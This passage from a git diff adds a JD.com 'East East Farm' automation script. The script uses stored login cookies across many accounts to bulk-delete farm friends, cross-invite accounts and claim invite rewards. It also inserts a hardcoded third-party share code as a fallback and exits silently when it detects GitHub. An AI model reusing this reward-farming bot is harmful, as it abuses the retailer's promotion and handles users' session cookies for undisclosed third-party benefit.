Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_fruit_friend.js b/jd_fruit_friend.js new file mode 100644 index 0000000..cf930b5 --- /dev/null +++ b/jd_fruit_friend.js @@ -0,0 +1,630 @@ +/* +东东水果:脚本更新地址 jd_fruit_friend.js +更新时间:2021-5-18 +活动入口:京东APP我的-更多工具-东东农场 +东东农场好友删减奖励活动链接:https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +互助码shareCode请先手动运行脚本查看打印可看到 +一天只能帮助3个人。多出的助力码无效 +==========================Quantumultx========================= +[task_local] +#jd免费水果 +10 5,17 * * * jd_fruit_friend.js, tag=东东农场好友删减奖励, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdnc.png, enabled=true +=========================Loon============================= +[Script] +cron "10 5,17 * * *" script-path=jd_fruit_friend.js,tag=东东农场好友删减奖励 + +=========================Surge============================ +东东农场好友删减奖励 = type=cron,cronexp="10 5,17 * * *",wake-system=1,timeout=3600,script-path=jd_fruit_friend.js + +=========================小火箭=========================== +东东农场好友删减奖励 = type=cron,script-path=jd_fruit_friend.js, cronexpr="10 5,17 * * *", timeout=3600, enable=true + +*/ +const $ = new Env('东东农场好友删减奖励'); +let cookiesArr = [], cookie = '', isBox = false, notify,allMessage = ''; +let newShareCodes=[]; +let message = '', subTitle = '', option = {}, isFruitFinished = false; +const retainWater = $.isNode() ? (process.env.retainWater ? process.env.retainWater : 100) : ($.getdata('retainWater') ? $.getdata('retainWater') : 100);//保留水滴大于多少g,默认100g; +let jdNotify = false;//是否关闭通知,false打开通知推送,true关闭通知推送 +let jdFruitBeanCard = false;//农场使用水滴换豆卡(如果出现限时活动时100g水换20豆,此时比浇水划算,推荐换豆),true表示换豆(不浇水),false表示不换豆(继续浇水),脚本默认是浇水 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +const urlSchema = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/3KSjXqQabiTuD1cJ28QskrpWoBKT/index.html%22%20%7D`; +let NowHour = new Date().getHours(); +let llhelp=true; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if(llhelp){ + console.log('开始收集您的互助码,用于好友删除与加好友操作'); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + await GetCollect(); + } + } + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + $.retry = 0; + await jdFruit(); + } + } + if ($.isNode() && allMessage && $.ctrTemp) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdFruit() { + subTitle = `【京东账号${$.index}】${$.nickName || $.UserName}`; + try { + await initForFarm(); + await getAwardInviteFriend();//删除好友与接受邀请成为别人的好友 + if ($.farmInfo.farmUserPro) { + message = `删除好友与接受好友邀请已完成`; + } else { + console.log(`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`); + message+=`初始化农场数据异常, 请登录京东 app查看农场功能是否正常`; + } + } catch (e) { + console.log(`任务执行异常,请检查执行日志 ‼️‼️`); + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } + //await showMsg(); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`, "version": 8, "channel": 1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } +} +async function GetCollect() { + try { + await initForFarm(); + if ($.farmInfo.farmUserPro) { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}互助码】${$.farmInfo.farmUserPro.shareCode}`); + newShareCodes.push($.farmInfo.farmUserPro.shareCode) + } else { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}互助码】\n数据异常,使用City的互助码:4921b9fe76a340f695f9621b53f35cf5`); + newShareCodes.push("4921b9fe76a340f695f9621b53f35cf5"); + } + } catch (e) { + $.logErr(e); + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = { "type": 2, "version": 6, "channel": 2 }; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, { "cardType": cardType }); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(1000); + console.log('等待了1秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} +async function lotteryForTurntableFarm() { + await $.wait(2000); + console.log('等待了2秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, { "type": 1 }); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({ "version": 4 }))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "120" }); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = { "shareCode": shareCode, "version": 6, "channel": 1 } + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: 